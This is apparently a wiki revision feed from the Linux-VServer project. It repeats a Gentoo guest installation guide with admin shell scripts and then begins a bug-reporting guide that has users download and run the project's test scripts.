Please take a look at the [http://www.gentoo.org/proj/en/vps/vserver-howto.xml Gentoo Linux-VServer Howto] for more information. In general we try to keep the wiki in sync, nevertheless it might help :)</div>Daniel hozachttp://svn.linux-vserver.org/Installation_on_GentooInstallation on Gentoo2009-09-16T01:28:44Z<p>Daniel hozac: </p>
<hr />
<div>doors.txt;10;15<br />
<br />
== Guest creation ==<br />
<br />
=== Download a precompiled stage3 ===<br />
<br />
Since many hardware related commands are not available inside a virtual server,<br />
there has been a patched version of baselayout known as baselayout-vserver.<br />
However, since baselayout-2/openrc, all required changes have been integrated,<br />
eliminating the need for separate vserver stages, profiles and baselayout. The<br />
only (temporary) drawback is that baselayout-2/openrc is still in testing<br />
(~arch) and there are no stages with baselayout-2/openrc available on the<br />
mirrors yet.<br />
<br />
As soon as baselayout-2/openrc is stable you can use a precompiled stage3 from<br />
one of the [http://www.gentoo.org/main/en/mirrors.xml Gentoo mirrors]. In the meantime<br />
please download a stage3 or gentoo-vserver stage from<br />
[http://bb.xnull.de/projects/gentoo/stages/ here]. Since a<br />
stage3 contains a complete root file system you can use the template build<br />
method of util-vserver. However, this method only works reliable since<br />
util-vserver-0.30.213_rc5, so make sure you have the right version installed.<br />
<br />
You have to choose a context ID for your vserver (dynamic context IDs are discouraged) as well as the necessary network device information (In this example eth0 is configured with 192.168.1.253/24 and the context ID is equivalent to the last two parts of the virtual servers IP).<br />
<br />
=== Using the template build method ===<br />
<br />
For a long time now, plain init style was the only init style available for<br />
gentoo, i.e. a normal init process will be started inside the guest, just like<br />
on any common Unix system. However this approach has some drawbacks:<br />
<br />
* No possibility to see output of init/rc scripts<br />
* Wasted resources for idle init processes in each guest<br />
* Annoying conflicts for /etc/inittab<br />
<br />
Therefore, many users have requested the gentoo init style to be reimplemented,<br />
which has been abandoned since it was a very hacky implementation and more<br />
or less worked by accident due to other modifications done to baselayout back<br />
then. However, as of util-vserver-0.30.212 the gentoo init style has been<br />
reimplemented in a concise manner and will become the default in the future.<br />
<br />
<pre><br />
# vserver myguest build \<br />
--context 1253 \<br />
--hostname myguest \<br />
--interface eth0:192.168.1.253/24 \<br />
--initstyle gentoo \<br />
-m template -- \<br />
-t /path/to/gentoo-vserver-<arch>-<version>.tar.bz2 \<br />
-d gentoo<br />
</pre><br />
<br />
You should be able to start and enter the vserver by using the commands below.<br />
<br />
<pre><br />
# vserver myguest start<br />
<br />
OpenRC 0.4.3 is starting up Gentoo Linux (x86_64) [VSERVER]<br />
<br />
Press I to enter interactive boot mode<br />
<br />
* /proc is already mounted, skipping<br />
* Setting hostname to myguest... [ ok ]<br />
* Creating user login records... [ ok ]<br />
* Cleaning /var/run... [ ok ]<br />
* Wiping /tmp directory... [ ok ]<br />
* Updating /etc/mtab... [ ok ]<br />
* Initializing random number generator... [ ok ]<br />
* Starting syslog-ng... [ ok ]<br />
* Starting fcron... [ ok ]<br />
* Starting Name Service Cache Daemon... [ ok ]<br />
* Starting local... [ ok ]<br />
# vserver-stat<br />
CTX PROC VSZ RSS userTIME sysTIME UPTIME NAME<br />
0 90 1.4G 153.4K 14m00s11 6m45s17 2h59m59 root server<br />
1253 2 3M 286 0m00s45 0m00s42 0m02s91 myguest<br />
# vserver myguest enter<br />
# ps ax<br />
PID TTY STAT TIME COMMAND<br />
1 ? Ss 0:04 init [3]<br />
27637 ? Ss 0:00 /usr/sbin/syslog-ng<br />
27656 ? Ss 0:00 /usr/sbin/fcron -c /etc/fcron/fcron.conf<br />
27676 ? Ssl 0:00 /usr/sbin/nscd<br />
27713 ? S+ 0:00 login<br />
27737 pts/15 Ss 0:00 /bin/bash<br />
27832 pts/15 R+ 0:00 ps ax<br />
# logout<br />
</pre><br />
<br />
== Maintenance made easy ==<br />
<br />
=== Start guests on boot ===<br />
<br />
You can start certain guests during boot. Each guest can be assigned a MARK. Now everything you have to do is configure these MARKs in the guests configuration and tell the init script to run all MARKed guests.<br />
<br />
<pre><br />
(Do this for every guest you want to start)<br />
# mkdir -p /etc/vservers/myguest/apps/init<br />
# echo "default" > /etc/vservers/myguest/apps/init/mark<br />
</pre><br />
<br />
'''Note''': Since all guests marked with "default" are started by default, nothing more has to be done. If you have different marks you should also update /etc/conf.d/vservers.<br />
<br />
=== Keep portage in sync ===<br />
<br />
The script vesync will help you to keep the metadata cache and overlays in sync. vemerge is a simple wrapper for emerge in guests.<br />
<br />
<pre><br />
(Sync metadata for 'myguest')<br />
# vesync myguest<br />
(Sync metadata for all guests)<br />
# vesync -a<br />
(Sync metadata for all guests except 'myguest')<br />
# vesync -a -e myguest<br />
(Sync 'myoverlay' for all guests)<br />
# vesync -a \<br />
--overlay /usr/local/overlays/myoverlay \<br />
--overlay-host rsync://rsync.myhost.com/myoverlay \<br />
--overlay-only<br />
(emerge app-editors/vim in 'myguest')<br />
# vemerge myguest -- app-editors/vim -va<br />
</pre><br />
<br />
=== Update guests ===<br />
<br />
Gentoo guests can share packages to save compilation time. In order to use shared packages, you have to create a central directory for packages on the host. We will use /var/cache/vpackages on the host and mount it to /usr/portage/packages in every guest.<br />
<br />
<pre><br />
# mkdir -p /var/cache/vpackages<br />
# $EDITOR /etc/vservers/myguest/fstab<br />
(Add this line at the end)<br />
/var/cache/vpackages /usr/portage/packages none bind,rw 0 0<br />
</pre><br />
<br />
Now you can use vupdateworld to update every guest. The command is equivalent to something like emerge --deep --update --newuse world depending on command line options.<br />
<br />
<pre><br />
(Pretend update for 'myguest')<br />
# vupdateworld -p myguest<br />
(Update 'myguest' using binary packages)<br />
# vupdateworld -k myguest<br />
(Update all guests using binary packages)<br />
# vupdateworld -ka<br />
</pre><br />
<br />
'''Note''': In order to get binary packages you can either use PORTAGE_BINHOST (see man make.conf) or set FEATURES="buildpkg" in one or more guests.<br />
<br />
After a successful update you can easily update all configuration files with vdispatch-conf. It is a simple wrapper for dispatch-conf and behaves exactly the same.<br />
<br />
<pre><br />
(Update configuration files for 'myguest')<br />
# vdispatch-conf myguest<br />
(Update configuration files for all guests)<br />
# vdispatch-conf -a<br />
</pre><br />
<br />
=== Bash scripts ===<br />
<br />
These scripts will hopefully help some of you out with some basic tasks. Review each script carefully, so you know what it is doing. <br />
<br />
==== Build Script ====<br />
This will build virtual servers a little quicker with a shorter command and pre-saved parameters stored as variables.<br />
<br />
'''Note:''' Edit this script to fit your environment.<br />
<br />
'''genvs_create.sh'''<br />
<pre><br />
#!/bin/sh<br />
#Author: Dereck Martin<br />
#Email: dmartin@tekconxus.com<br />
<br />
VSERVER_TEMPLATE=/etc/vservers/.templates/stage4-i686-20070905.tar.bz2<br />
VSERVER_HOST=${1}<br />
VSERVER_DOMAIN=domain.tld<br />
VSERVER_CONTEXT=${2}<br />
VSERVER_IP=${3}<br />
VSERVER_LOC=/vservers<br />
<br />
if [ "${1}" == "--help" ]; then<br />
echo "Usage:"<br />
echo " genvs_create.sh <host> <context id> <ip>"<br />
echo " "<br />
echo " <host> = Name of Virtual Server"<br />
echo " <context id> = Usually last digits of IP. (10.10.0.15 <-> 15)"<br />
echo " <ip> = IP Address 10.10.0.15/24"<br />
else<br />
vserver -v ${VSERVER_HOST} build --context ${VSERVER_CONTEXT} \<br />
--hostname ${VSERVER_HOST}.${VSERVER_DOMAIN} --interface eth0:${VSERVER_IP} \<br />
--initstyle gentoo -m template -- -d gentoo -t ${VSERVER_TEMPLATE}<br />
<br />
#Need to chop off the /xx fromt eh ip address before adding it to the sshd_config<br />
#<br />
#echo "ListenAddress ${3}" >> ${VSERVER_LOC}/${1}/etc/ssh/sshd_config<br />
<br />
vserver ${VSERVER_HOST} start<br />
fi<br />
<br />
</pre><br />
<br />
==== Gentoo Update World ====<br />
<br />
The command for updating each virtual host did not work for me, so this script was created.<br />
<br />
'''Note:''' Use at your own risk. Updating gentoo this way could break your system.<br />
<br />
'''genvs_update.sh'''<br />
<pre><br />
#!/bin/sh<br />
<br />
VSERVER_LOC=/vservers<br />
<br />
echo -e '\E[33;40m'<br />
echo -e 'Gentoo Update Script for Virtual Servers'<br />
echo -e 'Author: Dereck Martin <dmartin@tekconxus.com>'<br />
echo -e ''<br />
echo -e '\E[34;40m'<br />
echo -e '####################################################################'<br />
echo -e '# Running Emerge Sync'<br />
echo -e '# This update the portage on the host'<br />
echo -e '####################################################################'<br />
echo -e '\E[31;40m'<br />
echo -e '\033[1mCtrl+C to Stop.\033[0m'<br />
echo -e '\E[32;40mStarting in:'<br />
<br />
for count in 5 4 3 2 1<br />
do<br />
sleep 1<br />
echo "> ${count}"<br />
done<br />
<br />
echo -e '\E[37;40m'<br />
<br />
emerge --sync<br />
<br />
echo -e '\E[34;40m'<br />
echo -e '####################################################################'<br />
echo -e '# Running VPS Sync'<br />
echo -e '# This will update the portage cache on all VPS'<br />
echo -e '####################################################################'<br />
echo -e '\E[31;40m'<br />
echo -e '\033[1mCtrl+C to Stop.\033[0m'<br />
echo -e '\E[32;40mStarting in:'<br />
<br />
for count in 5 4 3 2 1<br />
do<br />
sleep 1<br />
echo "> ${count}"<br />
done<br />
<br />
echo -e '\E[37;40m'<br />
<br />
vesync --all<br />
<br />
echo -e '\E[34;40m'<br />
echo -e '####################################################################'<br />
echo -e '# Running Emerge Update World'<br />
echo -e '# This will update every single package on your VPS'<br />
echo -e '####################################################################'<br />
echo -e '\E[31;40m'<br />
echo -e '\033[1mCtrl+C to Stop.\033[0m'<br />
echo -e '\E[32;40mStarting in:'<br />
<br />
for count in 5 4 3 2 1<br />
do<br />
sleep 1<br />
echo "> ${count}"<br />
done<br />
<br />
echo -e '\E[37;40m'<br />
<br />
vemerge --all -- --deep --update --newuse world<br />
vemerge --all -- --depclean<br />
<br />
# Still a little buggy...<br />
#for vs in ${VSERVER_LOC}/*<br />
#do<br />
# vserver ${vs} exec revdep-rebuild<br />
#done<br />
</pre><br />
<br />
==== Host and Resolv Update Script ====<br />
<br />
I had troubles with getting my custom resolv.conf and hosts file to be auto generated at build time so I created this script to update them at any time when there are changes.<br />
<br />
'''Note:''' Change locations as required.<br />
<br />
'''genvsetc_cp.sh'''<br />
<pre><br />
#!/bin/sh<br />
#Author: Dereck Martin<br />
#Email: dmartin@tekconxus.com<br />
<br />
VSERVER_LOC=/vservers<br />
<br />
PWD=${CWD}<br />
cd ${VSERVER_LOC}<br />
for vs in *<br />
do<br />
cp -v /etc/vservers/.defaults/files/hosts ${VSERVER}/${vs}/etc/<br />
cp -v /etc/vservers/.defaults/files/resolv.conf ${VSERVER}/${vs}/etc/<br />
done<br />
<br />
cd ${PWD}<br />
</pre><br />
<br />
==== Shutdown/Reboot/Start All Scripts ====<br />
<br />
This will let you perform a shutdown of all virtual guests<br />
<br />
'''genvs_stopall.sh'''<br />
<pre><br />
#!/bin/sh<br />
#Author: Dereck Martin<br />
#Email: dmartin@tekconxus.com<br />
<br />
VSERVER_LOC=/vservers<br />
<br />
echo -e '\E[34;40m'<br />
echo -e '####################################################################'<br />
echo -e '# Stopping All Virtual Servers'<br />
echo -e '####################################################################'<br />
echo -e '\E[31;40m'<br />
echo -e '\033[1mCtrl+C to Stop.\033[0m'<br />
echo -e '\E[32;40mStarting in:'<br />
<br />
for count in 5 4 3 2 1<br />
do<br />
sleep 1<br />
echo -e "> ${count}"<br />
done<br />
<br />
echo -e '\E[37;40m'<br />
<br />
PWD=${CWD}<br />
cd ${VSERVER_LOC}<br />
for vs in *<br />
do<br />
vserver ${vs} stop<br />
done<br />
cd ${PWD}<br />
</pre><br />
<br />
'''genvs_startall.sh'''<br />
<pre><br />
#!/bin/sh<br />
#Author: Dereck Martin<br />
#Email: dmartin@tekconxus.com<br />
<br />
VSERVER_LOC=/vservers<br />
<br />
echo -e '\E[34;40m'<br />
echo -e '####################################################################'<br />
echo -e '# Starting All Virtual Servers'<br />
echo -e '####################################################################'<br />
echo -e '\E[31;40m'<br />
echo -e '\033[1mCtrl+C to Stop.\033[0m'<br />
echo -e '\E[32;40mStarting in:'<br />
<br />
for count in 5 4 3 2 1<br />
do<br />
sleep 1<br />
echo -e "> ${count}"<br />
done<br />
<br />
echo -e '\E[37;40m'<br />
<br />
PWD=${CWD}<br />
cd ${VSERVER_LOC}<br />
for vs in *<br />
do<br />
vserver ${vs} start<br />
done<br />
cd ${PWD}<br />
</pre><br />
<br />
'''genvs_rebootall.sh'''<br />
<pre><br />
#!/bin/sh<br />
#Author: Dereck Martin<br />
#Email: dmartin@tekconxus.com<br />
<br />
VSERVER_LOC=/vservers<br />
<br />
echo -e '\E[34;40m'<br />
echo -e '####################################################################'<br />
echo -e '# Rebooting All Virtual Servers'<br />
echo -e '####################################################################'<br />
echo -e '\E[31;40m'<br />
echo -e '\033[1mCtrl+C to Stop.\033[0m'<br />
echo -e '\E[32;40mStarting in:'<br />
<br />
for count in 5 4 3 2 1<br />
do<br />
sleep 1<br />
echo -e "> ${count}"<br />
done<br />
<br />
echo -e '\E[37;40m'<br />
<br />
PWD=${CWD}<br />
cd ${VSERVER_LOC}<br />
for vs in *<br />
do<br />
vserver ${vs} restart<br />
done<br />
cd ${PWD}<br />
</pre><br />
<br />
== External Resources ==<br />
<br />
Please take a look at the [http://www.gentoo.org/proj/en/vps/vserver-howto.xml Gentoo Linux-VServer Howto] for more information. In general we try to keep the wiki in sync, nevertheless it might help :)</div>Daniel hozachttp://svn.linux-vserver.org/Installation_on_GentooInstallation on Gentoo2009-09-16T01:27:34Z<p>Daniel hozac: Undo revision 3895 by 24.167.124.49 (Talk)</p>
<hr />
<div>== Guest creation ==<br />
<br />
=== Download a precompiled stage3 ===<br />
<br />
Since many hardware related commands are not available inside a virtual server,<br />
there has been a patched version of baselayout known as baselayout-vserver.<br />
However, since baselayout-2/openrc, all required changes have been integrated,<br />
eliminating the need for separate vserver stages, profiles and baselayout. The<br />
only (temporary) drawback is that baselayout-2/openrc is still in testing<br />
(~arch) and there are no stages with baselayout-2/openrc available on the<br />
mirrors yet.<br />
<br />
As soon as baselayout-2/openrc is stable you can use a precompiled stage3 from<br />
one of the [http://www.gentoo.org/main/en/mirrors.xml Gentoo mirrors]. In the meantime<br />
please download a stage3 or gentoo-vserver stage from<br />
[http://bb.xnull.de/projects/gentoo/stages/ here]. Since a<br />
stage3 contains a complete root file system you can use the template build<br />
method of util-vserver. However, this method only works reliable since<br />
util-vserver-0.30.213_rc5, so make sure you have the right version installed.<br />
<br />
You have to choose a context ID for your vserver (dynamic context IDs are discouraged) as well as the necessary network device information (In this example eth0 is configured with 192.168.1.253/24 and the context ID is equivalent to the last two parts of the virtual servers IP).<br />
<br />
=== Using the template build method ===<br />
<br />
For a long time now, plain init style was the only init style available for<br />
gentoo, i.e. a normal init process will be started inside the guest, just like<br />
on any common Unix system. However this approach has some drawbacks:<br />
<br />
* No possibility to see output of init/rc scripts<br />
* Wasted resources for idle init processes in each guest<br />
* Annoying conflicts for /etc/inittab<br />
<br />
Therefore, many users have requested the gentoo init style to be reimplemented,<br />
which has been abandoned since it was a very hacky implementation and more<br />
or less worked by accident due to other modifications done to baselayout back<br />
then. However, as of util-vserver-0.30.212 the gentoo init style has been<br />
reimplemented in a concise manner and will become the default in the future.<br />
<br />
<pre><br />
# vserver myguest build \<br />
--context 1253 \<br />
--hostname myguest \<br />
--interface eth0:192.168.1.253/24 \<br />
--initstyle gentoo \<br />
-m template -- \<br />
-t /path/to/gentoo-vserver-<arch>-<version>.tar.bz2 \<br />
-d gentoo<br />
</pre><br />
<br />
You should be able to start and enter the vserver by using the commands below.<br />
<br />
<pre><br />
# vserver myguest start<br />
<br />
OpenRC 0.4.3 is starting up Gentoo Linux (x86_64) [VSERVER]<br />
<br />
Press I to enter interactive boot mode<br />
<br />
* /proc is already mounted, skipping<br />
* Setting hostname to myguest... [ ok ]<br />
* Creating user login records... [ ok ]<br />
* Cleaning /var/run... [ ok ]<br />
* Wiping /tmp directory... [ ok ]<br />
* Updating /etc/mtab... [ ok ]<br />
* Initializing random number generator... [ ok ]<br />
* Starting syslog-ng... [ ok ]<br />
* Starting fcron... [ ok ]<br />
* Starting Name Service Cache Daemon... [ ok ]<br />
* Starting local... [ ok ]<br />
# vserver-stat<br />
CTX PROC VSZ RSS userTIME sysTIME UPTIME NAME<br />
0 90 1.4G 153.4K 14m00s11 6m45s17 2h59m59 root server<br />
1253 2 3M 286 0m00s45 0m00s42 0m02s91 myguest<br />
# vserver myguest enter<br />
# ps ax<br />
PID TTY STAT TIME COMMAND<br />
1 ? Ss 0:04 init [3]<br />
27637 ? Ss 0:00 /usr/sbin/syslog-ng<br />
27656 ? Ss 0:00 /usr/sbin/fcron -c /etc/fcron/fcron.conf<br />
27676 ? Ssl 0:00 /usr/sbin/nscd<br />
27713 ? S+ 0:00 login<br />
27737 pts/15 Ss 0:00 /bin/bash<br />
27832 pts/15 R+ 0:00 ps ax<br />
# logout<br />
</pre><br />
<br />
== Maintenance made easy ==<br />
<br />
=== Start guests on boot ===<br />
<br />
You can start certain guests during boot. Each guest can be assigned a MARK. Now everything you have to do is configure these MARKs in the guests configuration and tell the init script to run all MARKed guests.<br />
<br />
<pre><br />
(Do this for every guest you want to start)<br />
# mkdir -p /etc/vservers/myguest/apps/init<br />
# echo "default" > /etc/vservers/myguest/apps/init/mark<br />
</pre><br />
<br />
'''Note''': Since all guests marked with "default" are started by default, nothing more has to be done. If you have different marks you should also update /etc/conf.d/vservers.<br />
<br />
=== Keep portage in sync ===<br />
<br />
The script vesync will help you to keep the metadata cache and overlays in sync. vemerge is a simple wrapper for emerge in guests.<br />
<br />
<pre><br />
(Sync metadata for 'myguest')<br />
# vesync myguest<br />
(Sync metadata for all guests)<br />
# vesync -a<br />
(Sync metadata for all guests except 'myguest')<br />
# vesync -a -e myguest<br />
(Sync 'myoverlay' for all guests)<br />
# vesync -a \<br />
--overlay /usr/local/overlays/myoverlay \<br />
--overlay-host rsync://rsync.myhost.com/myoverlay \<br />
--overlay-only<br />
(emerge app-editors/vim in 'myguest')<br />
# vemerge myguest -- app-editors/vim -va<br />
</pre><br />
<br />
=== Update guests ===<br />
<br />
Gentoo guests can share packages to save compilation time. In order to use shared packages, you have to create a central directory for packages on the host. We will use /var/cache/vpackages on the host and mount it to /usr/portage/packages in every guest.<br />
<br />
<pre><br />
# mkdir -p /var/cache/vpackages<br />
# $EDITOR /etc/vservers/myguest/fstab<br />
(Add this line at the end)<br />
/var/cache/vpackages /usr/portage/packages none bind,rw 0 0<br />
</pre><br />
<br />
Now you can use vupdateworld to update every guest. The command is equivalent to something like emerge --deep --update --newuse world depending on command line options.<br />
<br />
<pre><br />
(Pretend update for 'myguest')<br />
# vupdateworld -p myguest<br />
(Update 'myguest' using binary packages)<br />
# vupdateworld -k myguest<br />
(Update all guests using binary packages)<br />
# vupdateworld -ka<br />
</pre><br />
<br />
'''Note''': In order to get binary packages you can either use PORTAGE_BINHOST (see man make.conf) or set FEATURES="buildpkg" in one or more guests.<br />
<br />
After a successful update you can easily update all configuration files with vdispatch-conf. It is a simple wrapper for dispatch-conf and behaves exactly the same.<br />
<br />
<pre><br />
(Update configuration files for 'myguest')<br />
# vdispatch-conf myguest<br />
(Update configuration files for all guests)<br />
# vdispatch-conf -a<br />
</pre><br />
<br />
=== Bash scripts ===<br />
<br />
These scripts will hopefully help some of you out with some basic tasks. Review each script carefully, so you know what it is doing. <br />
<br />
==== Build Script ====<br />
This will build virtual servers a little quicker with a shorter command and pre-saved parameters stored as variables.<br />
<br />
'''Note:''' Edit this script to fit your environment.<br />
<br />
'''genvs_create.sh'''<br />
<pre><br />
#!/bin/sh<br />
#Author: Dereck Martin<br />
#Email: dmartin@tekconxus.com<br />
<br />
VSERVER_TEMPLATE=/etc/vservers/.templates/stage4-i686-20070905.tar.bz2<br />
VSERVER_HOST=${1}<br />
VSERVER_DOMAIN=domain.tld<br />
VSERVER_CONTEXT=${2}<br />
VSERVER_IP=${3}<br />
VSERVER_LOC=/vservers<br />
<br />
if [ "${1}" == "--help" ]; then<br />
echo "Usage:"<br />
echo " genvs_create.sh <host> <context id> <ip>"<br />
echo " "<br />
echo " <host> = Name of Virtual Server"<br />
echo " <context id> = Usually last digits of IP. (10.10.0.15 <-> 15)"<br />
echo " <ip> = IP Address 10.10.0.15/24"<br />
else<br />
vserver -v ${VSERVER_HOST} build --context ${VSERVER_CONTEXT} \<br />
--hostname ${VSERVER_HOST}.${VSERVER_DOMAIN} --interface eth0:${VSERVER_IP} \<br />
--initstyle gentoo -m template -- -d gentoo -t ${VSERVER_TEMPLATE}<br />
<br />
#Need to chop off the /xx fromt eh ip address before adding it to the sshd_config<br />
#<br />
#echo "ListenAddress ${3}" >> ${VSERVER_LOC}/${1}/etc/ssh/sshd_config<br />
<br />
vserver ${VSERVER_HOST} start<br />
fi<br />
<br />
</pre><br />
<br />
==== Gentoo Update World ====<br />
<br />
The command for updating each virtual host did not work for me, so this script was created.<br />
<br />
'''Note:''' Use at your own risk. Updating gentoo this way could break your system.<br />
<br />
'''genvs_update.sh'''<br />
<pre><br />
#!/bin/sh<br />
<br />
VSERVER_LOC=/vservers<br />
<br />
echo -e '\E[33;40m'<br />
echo -e 'Gentoo Update Script for Virtual Servers'<br />
echo -e 'Author: Dereck Martin <dmartin@tekconxus.com>'<br />
echo -e ''<br />
echo -e '\E[34;40m'<br />
echo -e '####################################################################'<br />
echo -e '# Running Emerge Sync'<br />
echo -e '# This update the portage on the host'<br />
echo -e '####################################################################'<br />
echo -e '\E[31;40m'<br />
echo -e '\033[1mCtrl+C to Stop.\033[0m'<br />
echo -e '\E[32;40mStarting in:'<br />
<br />
for count in 5 4 3 2 1<br />
do<br />
sleep 1<br />
echo "> ${count}"<br />
done<br />
<br />
echo -e '\E[37;40m'<br />
<br />
emerge --sync<br />
<br />
echo -e '\E[34;40m'<br />
echo -e '####################################################################'<br />
echo -e '# Running VPS Sync'<br />
echo -e '# This will update the portage cache on all VPS'<br />
echo -e '####################################################################'<br />
echo -e '\E[31;40m'<br />
echo -e '\033[1mCtrl+C to Stop.\033[0m'<br />
echo -e '\E[32;40mStarting in:'<br />
<br />
for count in 5 4 3 2 1<br />
do<br />
sleep 1<br />
echo "> ${count}"<br />
done<br />
<br />
echo -e '\E[37;40m'<br />
<br />
vesync --all<br />
<br />
echo -e '\E[34;40m'<br />
echo -e '####################################################################'<br />
echo -e '# Running Emerge Update World'<br />
echo -e '# This will update every single package on your VPS'<br />
echo -e '####################################################################'<br />
echo -e '\E[31;40m'<br />
echo -e '\033[1mCtrl+C to Stop.\033[0m'<br />
echo -e '\E[32;40mStarting in:'<br />
<br />
for count in 5 4 3 2 1<br />
do<br />
sleep 1<br />
echo "> ${count}"<br />
done<br />
<br />
echo -e '\E[37;40m'<br />
<br />
vemerge --all -- --deep --update --newuse world<br />
vemerge --all -- --depclean<br />
<br />
# Still a little buggy...<br />
#for vs in ${VSERVER_LOC}/*<br />
#do<br />
# vserver ${vs} exec revdep-rebuild<br />
#done<br />
</pre><br />
<br />
==== Host and Resolv Update Script ====<br />
<br />
I had troubles with getting my custom resolv.conf and hosts file to be auto generated at build time so I created this script to update them at any time when there are changes.<br />
<br />
'''Note:''' Change locations as required.<br />
<br />
'''genvsetc_cp.sh'''<br />
<pre><br />
#!/bin/sh<br />
#Author: Dereck Martin<br />
#Email: dmartin@tekconxus.com<br />
<br />
VSERVER_LOC=/vservers<br />
<br />
PWD=${CWD}<br />
cd ${VSERVER_LOC}<br />
for vs in *<br />
do<br />
cp -v /etc/vservers/.defaults/files/hosts ${VSERVER}/${vs}/etc/<br />
cp -v /etc/vservers/.defaults/files/resolv.conf ${VSERVER}/${vs}/etc/<br />
done<br />
<br />
cd ${PWD}<br />
</pre><br />
<br />
==== Shutdown/Reboot/Start All Scripts ====<br />
<br />
This will let you perform a shutdown of all virtual guests<br />
<br />
'''genvs_stopall.sh'''<br />
<pre><br />
#!/bin/sh<br />
#Author: Dereck Martin<br />
#Email: dmartin@tekconxus.com<br />
<br />
VSERVER_LOC=/vservers<br />
<br />
echo -e '\E[34;40m'<br />
echo -e '####################################################################'<br />
echo -e '# Stopping All Virtual Servers'<br />
echo -e '####################################################################'<br />
echo -e '\E[31;40m'<br />
echo -e '\033[1mCtrl+C to Stop.\033[0m'<br />
echo -e '\E[32;40mStarting in:'<br />
<br />
for count in 5 4 3 2 1<br />
do<br />
sleep 1<br />
echo -e "> ${count}"<br />
done<br />
<br />
echo -e '\E[37;40m'<br />
<br />
PWD=${CWD}<br />
cd ${VSERVER_LOC}<br />
for vs in *<br />
do<br />
vserver ${vs} stop<br />
done<br />
cd ${PWD}<br />
</pre><br />
<br />
'''genvs_startall.sh'''<br />
<pre><br />
#!/bin/sh<br />
#Author: Dereck Martin<br />
#Email: dmartin@tekconxus.com<br />
<br />
VSERVER_LOC=/vservers<br />
<br />
echo -e '\E[34;40m'<br />
echo -e '####################################################################'<br />
echo -e '# Starting All Virtual Servers'<br />
echo -e '####################################################################'<br />
echo -e '\E[31;40m'<br />
echo -e '\033[1mCtrl+C to Stop.\033[0m'<br />
echo -e '\E[32;40mStarting in:'<br />
<br />
for count in 5 4 3 2 1<br />
do<br />
sleep 1<br />
echo -e "> ${count}"<br />
done<br />
<br />
echo -e '\E[37;40m'<br />
<br />
PWD=${CWD}<br />
cd ${VSERVER_LOC}<br />
for vs in *<br />
do<br />
vserver ${vs} start<br />
done<br />
cd ${PWD}<br />
</pre><br />
<br />
'''genvs_rebootall.sh'''<br />
<pre><br />
#!/bin/sh<br />
#Author: Dereck Martin<br />
#Email: dmartin@tekconxus.com<br />
<br />
VSERVER_LOC=/vservers<br />
<br />
echo -e '\E[34;40m'<br />
echo -e '####################################################################'<br />
echo -e '# Rebooting All Virtual Servers'<br />
echo -e '####################################################################'<br />
echo -e '\E[31;40m'<br />
echo -e '\033[1mCtrl+C to Stop.\033[0m'<br />
echo -e '\E[32;40mStarting in:'<br />
<br />
for count in 5 4 3 2 1<br />
do<br />
sleep 1<br />
echo -e "> ${count}"<br />
done<br />
<br />
echo -e '\E[37;40m'<br />
<br />
PWD=${CWD}<br />
cd ${VSERVER_LOC}<br />
for vs in *<br />
do<br />
vserver ${vs} restart<br />
done<br />
cd ${PWD}<br />
</pre><br />
<br />
== External Resources ==<br />
<br />
Please take a look at the [http://www.gentoo.org/proj/en/vps/vserver-howto.xml Gentoo Linux-VServer Howto] for more information. In general we try to keep the wiki in sync, nevertheless it might help :)</div>Daniel hozachttp://svn.linux-vserver.org/Report_a_BugReport a Bug2009-04-14T02:14:43Z<p>Daniel hozac: Undo revision 3716 by 69.151.244.168 (Talk)</p>
<hr />
<div>__NOTOC__<br />
<br />
There is a large number of Linux-VServer users. There is a much small number of people who actually develop Linux-VServer and fix bugs.<br />
<br />
What does this mean for you, an aspiring bug reporter? In order to catch the eye of one of these few volunteers, you'll need to take to heart a few tips on how to report a bug so that they can and will help you.<br />
<br />
By following these guidelines, you can help ensure that your bugs stay at the top of the developers' heap, and get fixed.<br />
<br />
== How to report bugs ==<br />
<br />
The people who are going to help you with a bug report are volunteers. Not only are you not paying them to help you, but nobody else is either. So, be nice to them. <br />
<br />
Beyond that golden rule, what follows are some additional tips on ways to make your bug report better so that someone will be able to help you.<br />
<br />
=== Basics: what you did, what you wanted to happen, and what actually happened. ===<br />
<br />
Those are the three basic elements of a bug report. You need to tell us exactly what you did (for example, "I right-clicked on "make happy meal"), what you expected to have happened (to continue the example, "I expected the kernel to serve me a happy meal with a hamburger and onion rings"), and what actually happened ("It gave me a happy meal with french fries.").<br />
<br />
Yes, the example is silly. But if your bug report simply said "The make_happy_meal function doesn't work," you will very likely get a reply saying "It works fine for me", because we can't guess what you were expecting to happen. By giving all the information you might get a reply like "That's because you can't have onion rings in a happy meal, you can only have french fries or curly fries." By telling us what you asked for, what you expected to get, and what you actually got, we don't have to guess what you mean.<br />
<br />
=== Useful information ===<br />
<br />
The following list gives an overview of information useful in bug reports. Note that you don't have to submit all information listed below, but you should do as long as it helps to discover the root of all evil.<br />
<br />
* One line summary of the problem<br />
* Full description of the problem<br />
* Kernel version (from /proc/version)<br />
* Output of test scripts (see below)<br />
* Output of the Oops.. message (if applicable) with symbolic information resolved (see Documentation/oops-tracing.txt in the kernel source)<br />
* A small shell script or example program which triggers the problem (if possible)<br />
* Processor information (from /proc/cpuinfo)<br />
* Module information (from /proc/modules)<br />
* Other information that might be relevant to the problem<br />
* Other notes, patches, fixes, workarounds<br />
<br />
=== Test scripts ===<br />
<br />
To ensure that your (VServer) setup works we have created two small test scripts. The testme.sh script ensures basic functionality whereas the testfs.sh script is for inode attribute testing for various filesystems.<br />
<br />
<pre><br />
# get the script<br />
wget http://vserver.13thfloor.at/Stuff/SCRIPT/testme.sh<br />
<br />
# make it executable<br />
chmod +x testme.sh<br />
<br />
# become root<br />
su<br />
<br />
# run the test script<br />
./testme.sh<br />
</pre><br />
<br />
'''Be careful! The testfs.sh script might easily reformat your hard disk :)'''<br />
<br />
<pre><br />
# get the script<br />
wget http://vserver.13thfloor.at/Stuff/SCRIPT/testfs.sh<br />
<br />
# make it executable<br />
chmod +x testfs.sh<br />
<br />
# make a loopback file<br />
dd bs=1024k count=1024 if=/dev/zero of=1gb.testfile<br />
<br />
# become root<br />
su<br />
<br />
# setup the loopback<br />
losetup /dev/loop0 1gb.testfile<br />
<br />
# run the test script for legacy mode<br />
./testfs.sh -l -t -D /dev/loop0 -M /mnt<br />
<br />
# run the test script for new-style config<br />
./testfs.sh -t -D /dev/loop0 -M /mnt<br />
</pre><br />
<br />
Attach the output of these two scripts to your bug report.<br />
<br />
'''If you need to figure out which line of code is causing an OOPS/RIP, the following script will parse your dmesg and output the lines and addresses formatted as shown below:'''<br />
<pre><br />
#!/bin/bash<br />
# output looks like: ffffffff80502a23:/usr/src/linux-2.6.25-vs/net/ipv4/raw.c:936<br />
